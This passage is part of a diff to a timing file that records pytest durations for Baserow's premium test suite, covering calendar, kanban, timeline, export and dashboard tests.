"baserow_premium_tests/api/views/views/test_calendar_views.py::test_get_public_calendar_view_with_single_select_and_cover": 0.17232575100024405, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_invalid_user_timezone_returns_error": 0.15517466700021032, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows": 0.18660504100080288, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_from_to_timestamp[-2023-01-10 03:00:00-from_timestamp]": 0.15700120800011064, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_from_to_timestamp[2023-01-10 03:00:00--to_timestamp]": 0.15292229099850374, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_from_to_timestamp[2023-01-10 03:00:00-abc-to_timestamp]": 0.1554515010002433, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_from_to_timestamp[abc-2023-01-10 03:00:00-from_timestamp]": 0.15362529199956043, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_limit_offset[-5-limit]": 0.15353562499967666, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_limit_offset[5--offset]": 0.15370049900047889, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_limit_offset[5-abc-offset]": 0.15314895800020167, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_limit_offset[abc-5-limit]": 0.15979770900048607, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_limit_offset": 0.1883472499994241, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_with_field_timezone_set_uses_field_timezone": 0.17703720800000156, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_with_user_timezone_set_uses_user_timezone_when_no_field_tz": 0.17607499899986578, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_doesnt_show_hidden_columns": 0.2137507920006101, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_limit_offset": 1.0734809589994256, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_password_protected_with_jwt_auth": 0.3138771240010101, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_with_valid_password": 0.3143105420003849, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_without_date_field": 0.1499554160000116, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_without_password": 0.29203216699988843, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_rows_include_field_options": 0.1933616249998522, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_rows_invalid_view": 0.1577159999997093, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_rows_user_not_in_workspace": 0.15671883200047887, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_without_valid_premium_license": 0.19150879199969495, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_without_valid_premium_license_for_workspace": 0.1871156670003984, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_patch_calendar_view_field_options": 0.17381241600014619, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_search_calendar_rows": 0.2024237510004241, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_search_calendar_with_empty_term": 0.2002799159999995, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_too_wide_timerange_returns_error": 0.15351079100037168, - "baserow_premium_tests/api/views/views/test_calendar_views.py::test_update_calendar_view": 0.20560445999944932, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_can_duplicate_kanban_view_with_cover_image": 0.1869147500001418, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_can_undo_redo_update_kanban_view": 0.20590691699999297, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_create_kanban_view": 0.22936729099910735, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_create_kanban_view_invalid_card_cover_image_field": 0.1716439169986188, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_get_public_kanban_view_with_single_select_and_cover": 0.1837957080006163, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_get_public_kanban_without_with_single_select_and_cover": 0.17571262500041485, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_kanban_filter": 0.18200233399966237, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_kanban_filter_limit_offset": 0.18192391699994914, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_kanban_filter_specific_options_limit_offset": 0.18036495799969998, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_kanban_view_hierarchy": 0.15738175000115007, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_all_invalid_select_option_parameter": 0.16882333299963648, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_all_rows": 0.17535249999946245, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_all_rows_with_limit_and_offset": 0.2278051659995981, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_kanban_rows_adhoc_filtering_advanced_filters": 0.2586494990000574, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_kanban_rows_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.1904075839993311, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_kanban_rows_adhoc_filtering_invalid_advanced_filters": 0.1731065830017542, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_kanban_rows_adhoc_filtering_overrides_existing_filters": 0.18859533300019393, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_kanban_rows_adhoc_filtering_query_param_filter": 0.24439520899977651, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_doesnt_show_hidden_columns": 0.18467729300027713, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_invalid_select_option_parameter": 0.1597660409997843, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_limit_offset": 0.1900315850007246, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_password_protected_with_jwt_auth": 0.3007671659997868, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_valid_select_option_parameter": 0.2047716679990117, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_valid_select_option_query_parameter": 0.19874520800021855, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_with_query_param_filters": 0.19809508299931622, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_with_query_param_filters_with_zero_results": 0.1992684589986311, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_with_valid_password": 0.292525668000053, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_with_view_filters": 0.19969229199978145, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_without_password": 0.2857479169997532, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_without_single_select_field": 0.15115954200155102, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_rows_include_field_options": 0.17416762500033656, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_rows_invalid_parameters": 0.17307574999995268, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_rows_public_with_query_param_advanced_filters": 0.24417424900002516, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_rows_public_with_query_param_filter": 0.22691916700023285, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_with_specific_select_options": 0.2033194169998751, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_without_valid_premium_license": 0.17153058300027624, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_without_valid_premium_license_for_workspace": 0.1699444579990086, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_patch_kanban_view_field_options": 0.1762630410003112, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_reference_to_single_select_field_is_removed_after_trashing": 0.17766191700047784, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_update_kanban_view": 0.22393508400000428, - "baserow_premium_tests/api/views/views/test_kanban_views.py::test_update_kanban_view_card_cover_image_field": 0.1746443330002876, - "baserow_premium_tests/api/views/views/test_premium_form_survey_mode_views.py::test_create_form_view_survey": 0.16478520799955731, - "baserow_premium_tests/api/views/views/test_premium_form_survey_mode_views.py::test_update_form_view_survey": 0.16420829299931938, - "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_as_non_premium_user": 0.15017608300058782, - "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_invalid_attributes": 0.1556418330001179, - "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_template": 0.15302074900046136, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_update_row_comments_notification_mode": 0.16811808297643438, + "baserow_premium_tests/api/row_comments/test_row_comments_views.py::test_user_without_premium_license_cannot_update_row_comments_notification_mode": 0.14355787500971928, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_adhoc_filters": 0.601250917010475, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_adhoc_filters_invalid": 0.3822337909950875, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_ical_feed_contents": 0.3662175420613494, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_ical_feed_invalid_references": 0.29003008399740793, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_ical_feed_sharing": 0.30193704197881743, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_ical_feed_with_date_and_select_related_field_in_queryset": 6.194072749989573, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_ical_filters": 0.29914700001245365, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_ical_no_date_field": 0.2523209589999169, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_calendar_view_persistent_filters": 0.5231365000072401, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_can_duplicate_calendar_view_with_date_field": 0.16973741698893718, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_create_calendar_view": 0.2003049170016311, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_create_calendar_view_different_field_types": 12.100825624045683, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_get_public_calendar_view_with_single_select_and_cover": 0.15779316698899493, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_invalid_user_timezone_returns_error": 0.1296357910032384, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows": 0.16449316698708571, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_from_to_timestamp[-2023-01-10 03:00:00-from_timestamp]": 0.13295616500545293, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_from_to_timestamp[2023-01-10 03:00:00--to_timestamp]": 0.1336445829947479, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_from_to_timestamp[2023-01-10 03:00:00-abc-to_timestamp]": 0.13226879201829433, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_from_to_timestamp[abc-2023-01-10 03:00:00-from_timestamp]": 0.12267537499428727, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_limit_offset[-5-limit]": 0.12507437393651344, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_limit_offset[5--offset]": 0.13038054198841564, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_limit_offset[5-abc-offset]": 0.12951095902826637, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_invalid_limit_offset[abc-5-limit]": 0.12609383300878108, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_limit_offset": 0.17797087400685996, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_with_field_timezone_set_uses_field_timezone": 0.15731587499612942, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_all_rows_with_user_timezone_set_uses_user_timezone_when_no_field_tz": 0.153346374980174, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_doesnt_show_hidden_columns": 0.23360633398988284, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_limit_offset": 3.5075513329647947, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_password_protected_with_jwt_auth": 0.23509033297887072, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_with_valid_password": 0.2546254589688033, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_without_date_field": 0.1267859159852378, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_public_rows_without_password": 0.21488008197047748, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_rows_include_field_options": 0.19622412501485087, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_rows_invalid_view": 0.13543145699077286, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_rows_user_not_in_workspace": 0.14256587598356418, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_without_valid_premium_license": 0.17129920999286696, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_list_without_valid_premium_license_for_workspace": 0.17246883403277025, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_patch_calendar_view_field_options": 0.15654679198632948, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_search_calendar_rows": 0.22089874901575968, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_search_calendar_with_empty_term": 0.20684654099750333, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_too_wide_timerange_returns_error": 0.12840745697030798, + "baserow_premium_tests/api/views/views/test_calendar_views.py::test_update_calendar_view": 0.23574608404305764, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_can_duplicate_kanban_view_with_cover_image": 0.17844300001161173, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_can_undo_redo_update_kanban_view": 0.19388837399310432, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_create_kanban_view": 0.1855385419621598, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_create_kanban_view_invalid_card_cover_image_field": 0.1602320000238251, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_get_public_kanban_view_with_single_select_and_cover": 0.16951558500295505, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_get_public_kanban_without_with_single_select_and_cover": 0.11725799995474517, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_kanban_filter": 0.1749708759598434, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_kanban_filter_limit_offset": 0.1610851260193158, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_kanban_filter_specific_options_limit_offset": 0.17094670698861592, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_kanban_view_hierarchy": 0.13720533301238902, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_all_invalid_select_option_parameter": 0.14871137498994358, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_all_rows": 0.1664596240152605, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_all_rows_with_limit_and_offset": 0.24311225101700984, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_kanban_rows_adhoc_filtering_advanced_filters": 0.2881417919998057, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_kanban_rows_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.17865712402272038, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_kanban_rows_adhoc_filtering_invalid_advanced_filters": 0.15957470797002316, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_kanban_rows_adhoc_filtering_overrides_existing_filters": 0.1797514579957351, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_kanban_rows_adhoc_filtering_query_param_filter": 0.2638405830366537, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_doesnt_show_hidden_columns": 0.17504383300547488, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_invalid_select_option_parameter": 0.13983250100864097, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_limit_offset": 0.19033862400101498, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_password_protected_with_jwt_auth": 0.2336462489911355, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_valid_select_option_parameter": 0.20288941703620367, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_valid_select_option_query_parameter": 0.1968791249964852, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_with_query_param_filters": 0.20733424997888505, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_with_query_param_filters_with_zero_results": 0.2073444169946015, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_with_valid_password": 0.21908354200422764, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_with_view_filters": 0.20286883402150124, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_without_password": 0.20208662399090827, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_public_rows_without_single_select_field": 0.12399250001180917, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_rows_include_field_options": 0.17259541698149405, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_rows_invalid_parameters": 0.18090612601372413, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_rows_public_with_query_param_advanced_filters": 0.33191670797532424, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_rows_public_with_query_param_filter": 0.24960970898973756, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_with_specific_select_options": 0.18194779197801836, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_without_valid_premium_license": 0.17507212402415462, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_list_without_valid_premium_license_for_workspace": 0.15920950003783219, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_patch_kanban_view_field_options": 0.15551204298390076, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_reference_to_single_select_field_is_removed_after_trashing": 0.17688191699562594, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_update_kanban_view": 0.21402616598061286, + "baserow_premium_tests/api/views/views/test_kanban_views.py::test_update_kanban_view_card_cover_image_field": 0.15497687400784343, + "baserow_premium_tests/api/views/views/test_premium_form_survey_mode_views.py::test_create_form_view_survey": 0.1459066259849351, + "baserow_premium_tests/api/views/views/test_premium_form_survey_mode_views.py::test_update_form_view_survey": 0.14392249900265597, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_as_non_premium_user": 0.12828608299605548, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_invalid_attributes": 0.13515645900042728, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_template": 0.12883941704058088, "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view": 0.09809864699968784, - "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[calendar]": 0.1660258759993667, - "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[form]": 0.1638642499992784, - "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[gallery]": 0.16547895899930154, - "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[grid]": 0.1627192500000092, - "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[kanban]": 0.41197154200017394, - "baserow_premium_tests/api/views/views/test_premium_views.py::test_list_views_ownership_type": 0.2865427919996364, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[calendar]": 0.14670658300747164, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[form]": 0.1545511249860283, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[gallery]": 0.15205612499266863, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[grid]": 0.15191862502251752, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[kanban]": 0.15480595899862237, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view[timeline]": 0.14914783401763998, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view_allow_public_export[calendar]": 0.14099175002775155, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view_allow_public_export[form]": 0.15004933398449793, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view_allow_public_export[gallery]": 0.14797416600049473, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view_allow_public_export[grid]": 0.1399689160170965, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view_allow_public_export[kanban]": 0.14438391700969078, + "baserow_premium_tests/api/views/views/test_premium_view_attributes_view.py::test_premium_view_attributes_view_allow_public_export[timeline]": 0.1456327919731848, + "baserow_premium_tests/api/views/views/test_premium_views.py::test_can_limit_linked_items_in_premium_public_views": 0.7287070830061566, + "baserow_premium_tests/api/views/views/test_premium_views.py::test_can_limit_linked_items_in_premium_views": 0.7470175419875886, + "baserow_premium_tests/api/views/views/test_premium_views.py::test_list_views_ownership_type": 0.20509854197734967, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export": 0.104779333982151, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_can_sort_by_manually_hidden_view": 0.19037533301161602, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_error_hidden_fields_in_filters": 0.1654694989847485, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_error_hidden_fields_in_order_by": 0.1592036669899244, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_malformed_ad_hoc_filters": 0.13858599899685942, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_malformed_order_by": 0.15296391799347475, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_of_not_existing_view": 0.03651970802457072, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_of_not_public_view": 0.06941233298857696, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_respecting_ad_hoc_filters": 0.19177012500585988, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_respecting_ad_hoc_order_by": 0.18825091599137522, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_respecting_include_visible_fields_in_order": 0.20186741699581034, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_respecting_include_visible_fields_in_order_wrong_field_id": 0.20502262501395307, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_respecting_view_filters": 0.19663304201094434, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_respecting_view_password": 0.17170329100918025, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_create_public_view_export_respecting_view_visible_fields": 0.18981116596842185, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_get_public_view_export_invalid_signed_id": 0.015196041989838704, + "baserow_premium_tests/api/views/views/test_preview_public_view_export.py::test_get_public_view_export_job_not_found": 0.0183062500145752, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_cannot_list_rows_with_invalid_date_settings": 0.2772162909968756, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_cant_create_timeline_view_invalid_date_fields": 0.21922724999603815, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_create_timeline_view": 0.1567769589892123, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_get_public_timeline_view": 0.16708454198669642, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows": 0.39309583298745565, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_include_field_options": 0.1922928349522408, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_public_doesnt_show_hidden_columns": 0.1850216670136433, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_public_filters_by_visible_and_hidden_columns": 0.21418920802534558, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_public_only_searches_by_visible_columns[compat]": 0.22746295799151994, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_public_only_searches_by_visible_columns[full-text-with-count]": 0.2277631249744445, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_public_with_query_param_advanced_filters": 0.35665466700447723, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_public_with_query_param_filter": 0.29120708303526044, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_public_with_query_param_order": 0.2248749169812072, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_search[compat]": 0.17731070902664214, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_search[full-text-with-count]": 0.1697554169804789, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_rows_with_query_param_order": 0.2349638750019949, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_timeline_rows_adhoc_filtering_advanced_filters": 0.2958846249966882, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_timeline_rows_adhoc_filtering_advanced_filters_are_preferred_to_other_filter_query_params": 0.18429783295141533, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_timeline_rows_adhoc_filtering_invalid_advanced_filters": 0.16708799998741597, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_timeline_rows_adhoc_filtering_overrides_existing_filters": 0.1893099160224665, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_timeline_rows_adhoc_filtering_query_param_filter": 0.3026094580127392, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_without_valid_premium_license": 0.15631616598693654, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_list_without_valid_premium_license_for_workspace": 0.16736137398402207, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_patch_timeline_view_field_options": 0.15539908400387503, + "baserow_premium_tests/api/views/views/test_timeline_views.py::test_update_timeline_view": 0.22949766702367924, "baserow_premium_tests/compat/api/admin/test_groups_admin_views.py::test_cant_delete_template_workspace": 0.14399820800099405, "baserow_premium_tests/compat/api/admin/test_groups_admin_views.py::test_delete_workspace": 0.28786979199958296, "baserow_premium_tests/compat/api/admin/test_groups_admin_views.py::test_list_admin_workspaces": 0.30572762500014505, - "baserow_premium_tests/export/test_premium_export_types.py::test_can_export_every_interesting_different_field_to_json": 3.502432334000332, - "baserow_premium_tests/export/test_premium_export_types.py::test_can_export_every_interesting_different_field_to_xml": 3.7842755019992182, - "baserow_premium_tests/export/test_premium_export_types.py::test_cannot_export_json_without_premium_license": 3.64586679400054, - "baserow_premium_tests/export/test_premium_export_types.py::test_cannot_export_json_without_premium_license_for_group": 3.6015873340002145, - "baserow_premium_tests/export/test_premium_export_types.py::test_cannot_export_xml_without_premium_license": 3.686806376000277, - "baserow_premium_tests/export/test_premium_export_types.py::test_cannot_export_xml_without_premium_license_for_group": 3.575896250998994, - "baserow_premium_tests/export/test_premium_export_types.py::test_if_duplicate_field_names_json_export": 0.1797134990001723, - "baserow_premium_tests/export/test_premium_export_types.py::test_if_xml_duplicate_name_and_value_are_escaped": 0.18596933300068486, - "baserow_premium_tests/export/test_premium_export_utils.py::test_get_unique_name": 0.007940957999380771, - "baserow_premium_tests/export/test_premium_export_utils.py::test_safe_xml_tag_name": 0.008067750002737739, - "baserow_premium_tests/export/test_premium_export_utils.py::test_to_xml": 0.009217127000738401, - "baserow_premium_tests/fields/test_ai_field_handler.py::test_generate_formula": 0.15284883200001786, - "baserow_premium_tests/fields/test_ai_field_handler.py::test_generate_formula_generative_ai_does_not_exist": 0.14595487499991577, - "baserow_premium_tests/fields/test_ai_field_handler.py::test_generate_formula_model_does_not_belong_to_type": 0.14275479099978838, - "baserow_premium_tests/fields/test_ai_field_handler.py::test_generate_formula_output_parser_error": 0.3554323750004187, + "baserow_premium_tests/dashboard/test_chart_widget_type.py::test_chart_widget_datasource_cannot_be_deleted": 0.14483041601488367, + "baserow_premium_tests/dashboard/test_chart_widget_type.py::test_chart_widget_trash_restore": 0.1124977919680532, + "baserow_premium_tests/dashboard/test_chart_widget_type.py::test_create_chart_widget_creates_data_source": 0.11426762503106147, + "baserow_premium_tests/dashboard/test_dashboard_application_types_charts.py::test_dashboard_export_serialized_with_chart_widget": 0.15088050003396347, + "baserow_premium_tests/dashboard/test_dashboard_application_types_charts.py::test_dashboard_export_serialized_with_chart_widget_config": 0.1553502919850871, + "baserow_premium_tests/dashboard/test_dashboard_application_types_charts.py::test_dashboard_export_serialized_with_default_chart_type": 0.15211062497110106, + "baserow_premium_tests/dashboard/test_dashboard_application_types_charts.py::test_dashboard_import_serialized_with_default_chart_type": 0.14396466602920555, + "baserow_premium_tests/dashboard/test_dashboard_application_types_charts.py::test_dashboard_import_serialized_with_widget_config": 0.1559345829882659, + 